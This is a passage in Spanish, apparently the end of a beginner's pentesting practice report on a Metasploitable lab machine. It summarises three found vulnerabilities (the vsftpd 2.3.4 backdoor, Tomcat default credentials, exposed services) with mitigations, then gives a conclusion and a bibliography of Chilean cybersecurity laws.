1. vsftpd 2.3.4 con backdoor (CVE-2011-2523)

- Descripción: permite ejecución remota de comandos como root sin autenticación.
- Mitigación: actualizar vsftpd o eliminar el servicio.

2. Apache Tomcat sin autenticación en el panel de administración (CVE-2009-3843)

- Descripción: acceso con credenciales por defecto, permite carga y ejecución remota de código.
- Mitigación: cambiar credenciales por defecto, restringir acceso, actualizar Tomcat.

3. Exposición innecesaria de múltiples servicios inseguros (sin CVE asociado)

- Descripción: SSH, Telnet, NFS, Postgres y otros servicios abiertos sin filtros ni cifrado.
- Mitigación: cerrar puertos innecesarios, reemplazar servicios obsoletos, usar firewall.

3 Riesgos de seguridad identificados:

1. Acceso remoto no autorizado como root a través de backdoor FTP
 - Impacto: control total del sistema, instalación de malware, exfiltración de datos.
2. Ejecución remota de código desde Internet vía Tomcat sin autenticación
 - Impacto: despliegue de aplicaciones maliciosas, pivoting lateral en la red.
3. Ampliación innecesaria de la superficie de ataque por múltiples servicios abiertos
 - Impacto: mayor exposición a ataques automatizados, aprovechamiento de servicios obsoletos como Telnet.

CONCLUSION

Debido a la gran cantidad de material disponible en internet para realizar pruebas de pentesting, al comienzo para los que recién inician puede resultar un poco abrumador y tienes esa sensación constante de que no sabes por donde partir.

Este documento muestra una forma de iniciar para comenzar a practicar.

La utilización de máquinas metasploitable es una buena alternativa para comenzar a perder ese temor de echar a perder algo, recuerda que con las máquinas virtuales siempre puedes hacer una “snapshot” y volver al punto de respaldo donde todo funcionaba.

En este documento solo se probaron 3 herramientas sencillas para iniciar en el mundo del pentesting, la invitación queda abierta a seguir practicando con las otras vulnerabilidades encontradas durante la fase de escaneo.

Recordar en todo momento, practicar en entornos seguros y ajustados a la normativa vigente. Un buen hacker conoce los límites.

BIBLIOGRAFIA

ⁱ Ley 21459 sobre Delitos Informáticos

<https://www.bcn.cl/leychile/navegar?idNorma=1177743>

ⁱⁱ Ley 19628 Sobre protección de la vida privada

<https://www.bcn.cl/leychile/navegar?idNorma=141599&idVersion=2020-08-26>

ⁱⁱⁱ Artículo 284 del Código Penal

<https://www.bcn.cl/leychile/navegar?idNorma=1984&idParte=10450441&idVersion=2023-08-17>

^{iv} Ley 21.663: Ley Marco de Ciberseguridad

<https://www.bcn.cl/leychile/navegar?i=1202434>

^v Fases de un proyecto de pentesting

<https://planalfa.es/ciberseguridad-y-pentesting/>